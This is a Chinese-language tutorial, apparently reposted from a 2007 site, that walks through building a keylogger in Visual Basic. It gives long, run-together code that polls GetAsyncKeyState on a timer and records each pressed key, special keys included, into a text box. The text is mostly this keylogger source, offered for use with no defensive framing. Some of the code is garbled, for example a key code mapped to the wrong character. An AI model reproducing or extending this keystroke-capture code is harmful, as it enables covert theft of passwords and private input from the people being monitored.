手把手教你做法宝,手把手教你做键盘记录器

手把手教你做键盘记录器 - 网络安全 - 电脑教程网

手把手教你做键盘记录器

日期:2007-07-19   荐:

    前几天写了一篇键盘记录器,好多人反映看不懂,对新人没什么用处,所以且这篇我会写的很详细,再也不像那篇,出了代码什么也没 ^!^这个程序将会详细的讲解如何记载键盘的每一次输入。

    下面介绍的这个程序主要是利用GetAsyncKeyState函数,使用GetAsyncKeyState可以获得键盘的动作。

    GetAsyncKeyState函数根据虚拟键表判断按键的类型。

    返回值为一个16位的二进值数,如果被按下则最高位为1,即返回-32767.下面是API函数及鼠标中左右键在虚拟键表中的定义:Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer好了,函数就先介绍这么多,下面开始动手实战了first,当然是创建窗口了在时间控件的Timer时间中定义检查按键类型,代码如下:Dim AddKeyKeyResult = GetAsyncKeyState(13) '回车键If KeyResult = -32767 ThenAddKey = "[ENTER]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(17) 'Ctrl键If KeyResult = -32767 ThenAddKey = "[CTRL]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(8) '退格键If KeyResult = -32767 ThenAddKey = "[BKSPACE]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(9)If KeyResult = -32767 ThenAddKey = "[TAB]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(18)If KeyResult = -32767 ThenAddKey = "[ALT]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(19)If KeyResult = -32767 ThenAddKey = "[PAUSE]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(20)If KeyResult = -32767 ThenAddKey = "[CAPS]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(27)If KeyResult = -32767 ThenAddKey = "[ESC]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(33)If KeyResult = -32767 ThenAddKey = "[PGUP]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(34)If KeyResult = -32767 ThenAddKey = "[PGDN]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(35)If KeyResult = -32767 ThenAddKey = "[END]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(36)If KeyResult = -32767 ThenAddKey = "[HOME]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(44)If KeyResult = -32767 ThenAddKey = "[SYSRQ]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(45)If KeyResult = -32767 ThenAddKey = "[INS]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(46)If KeyResult = -32767 ThenAddKey = "[DEL]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(144)If KeyResult = -32767 ThenAddKey = "[NUM]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(37)If KeyResult = -32767 ThenAddKey = "[LEFT]"GoTo KeyFoundEnd If

KeyResult = GetAsyncKeyState(38)If KeyResult = -32767 ThenAddKey = "[UP]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(39)If KeyResult = -32767 ThenAddKey = "[RIGHT]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(40)If KeyResult = -32767 ThenAddKey = "[DOWN]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(112)If KeyResult = -32767 ThenAddKey = "[F1]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(113)If KeyResult = -32767 ThenAddKey = "[F2]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(114)If KeyResult = -32767 ThenAddKey = "[F3]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(115)If KeyResult = -32767 ThenAddKey = "[F4]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(116)If KeyResult = -32767 ThenAddKey = "[F5]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(117)If KeyResult = -32767 ThenAddKey = "[F6]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(118)If KeyResult = -32767 ThenAddKey = "[F7]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(119)If KeyResult = -32767 ThenAddKey = "[F8]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(120)If KeyResult = -32767 ThenAddKey = "[F9]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(121)If KeyResult = -32767 ThenAddKey = "[F10]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(122)If KeyResult = -32767 ThenAddKey = "[F11]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(123)If KeyResult = -32767 ThenAddKey = "[F12]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(124)If KeyResult = -32767 ThenAddKey = "[F13]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(125)If KeyResult = -32767 ThenAddKey = "[F14]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(126)If KeyResult = -32767 ThenAddKey = "[F15]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(127)If KeyResult = -32767 ThenAddKey = "[F16]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(32)If KeyResult = -32767 ThenAddKey = " "GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(186)If KeyResult = -32767 ThenAddKey = ";"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(187)If KeyResult = -32767 ThenAddKey = "="GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(188)If KeyResult = -32767 ThenAddKey = ","GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(189)If KeyResult = -32767 ThenAddKey = "-"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(190)If KeyResult = -32767 ThenAddKey = "."GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(191)If KeyResult = -32767 ThenAddKey = "/" '/GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(192)If KeyResult = -32767 ThenAddKey = "`" '`GoTo KeyFoundEnd If


[1] [2] [3]  

'----------NUM PADKeyResult = GetAsyncKeyState(96)If KeyResult = -32767 ThenAddKey = "0"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(97)If KeyResult = -32767 ThenAddKey = "1"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(98)If KeyResult = -32767 ThenAddKey = "2"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(99)If KeyResult = -32767 ThenAddKey = "3"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(100)If KeyResult = -32767 ThenAddKey = "4"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(101)If KeyResult = -32767 ThenAddKey = "5"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(102)If KeyResult = -32767 ThenAddKey = "6"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(103)If KeyResult = -32767 ThenAddKey = "7"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(104)If KeyResult = -32767 ThenAddKey = "8"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(105)If KeyResult = -32767 ThenAddKey = "9"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(106)If KeyResult = -32767 ThenAddKey = "*"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(107)If KeyResult = -32767 ThenAddKey = "+"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(108)If KeyResult = -32767 ThenAddKey = "[ENTER]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(109)If KeyResult = -32767 ThenAddKey = "-"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(110)If KeyResult = -32767 ThenAddKey = "."GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(2)If KeyResult = -32767 ThenAddKey = "/"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(220)If KeyResult = -32767 ThenAddKey = "\"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(222)If KeyResult = -32767 ThenAddKey = "'"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(221)If KeyResult = -32767 ThenAddKey = "]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(219)If KeyResult = -32767 ThenAddKey = "["GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(16) 'shift键If KeyResult = -32767 And TimeOut = 0 ThenAddKey = "[SHIFT]"LastKey = AddKeyTimeOut = 1GoTo KeyFoundEnd IfKeyLoop = 41Do Until KeyLoop = 256 ' 显示其他键KeyResult = GetAsyncKeyState(KeyLoop)If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop)KeyLoop = KeyLoop + 1LoopLastKey = AddKeyExit SubKeyFound: '显示键的信息Text1 = Text1 & AddKeyEnd Sub上面的()里面的数字实际是就是那些键的Ascii码,比如13就代表回车,17代表Ctrl,……由于数目太多,一一列举不方便现提供Ascii表一份供对照http://www.cstudy.cn/repository/ascii/default.htm下面是其他的事件Private Sub Timer2_Timer()TimeOut = 0End Sub目的是随时刷新清空


 [1] [2] [3]  

(出处:http://www.sheup.com)


 [1] [2] [3] 

(出处:http://www.sheup.com)


 [1] [2] [3] [4] 

标签: